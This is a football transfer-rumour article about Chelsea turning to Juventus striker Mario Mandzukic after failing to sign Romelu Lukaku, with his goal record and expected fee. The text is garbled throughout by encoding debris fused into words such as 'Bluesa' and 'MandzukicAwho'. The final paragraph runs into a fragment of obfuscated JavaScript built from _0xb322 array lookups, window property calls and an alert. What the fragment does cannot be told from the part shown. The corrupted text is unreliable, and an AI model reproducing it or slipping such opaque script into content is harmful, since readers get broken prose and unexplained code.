The signings are not going as per the plan charted by the Italian manager Antonio Conte. With two weeks into the Premier League and only 10 days before the end of transfers for this season Athe team has to reconsider their signings. The Bluesa attempt to take Romelu Lukaku failed in spite of all the efforts and documentation were in place as Lukaku decided to stay with Eevrton. This has forced the Bluesa to search for a suitable alternative for Lukaku.

Mario Mandzukic
Mario Mandzukic

The search has narrowed down to Mario MandzukicAwho is expected to help Chelsea overcome the mistakes of the last season. MandzukicA who had joined Juventus last summer from Atletico Madrid for 16 million euros in a contract that lasts until the end of 2019 season. Mandzukic ability to strike and score goals will help Bluesa in their quest to win. His physical strength, aerial prowess and defensive game will add to the performance of the team. The 30-year-old Croatian had made 13 goals in 36 appearances for Juventus last season even though he was confined to a bit-part role. His score of 181 goals in 411 appearances will add to the attacking strategy of the team.

The total cost of signing Mandzukic is expected to be 25 million euros which is one third of what Chelsea was ready to give to Lukaku. Gonzalo Higuainas move to Juventus has raised the chances of Chelsea to get Mandzukic. The current additions into the Bluesa include Michy Batshuayi and NaGolo Kante and attempts have also been made for Kalidou Koulibaly of Napoli and James Rodriguez from Real Madrid. Another high profile transfer which is expected this season is Colombian James Rodriguez to the Stamford Bridge. The decision lies with Mandzukic whether he would choose Bluesa or he would keep playing for Juventus. xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

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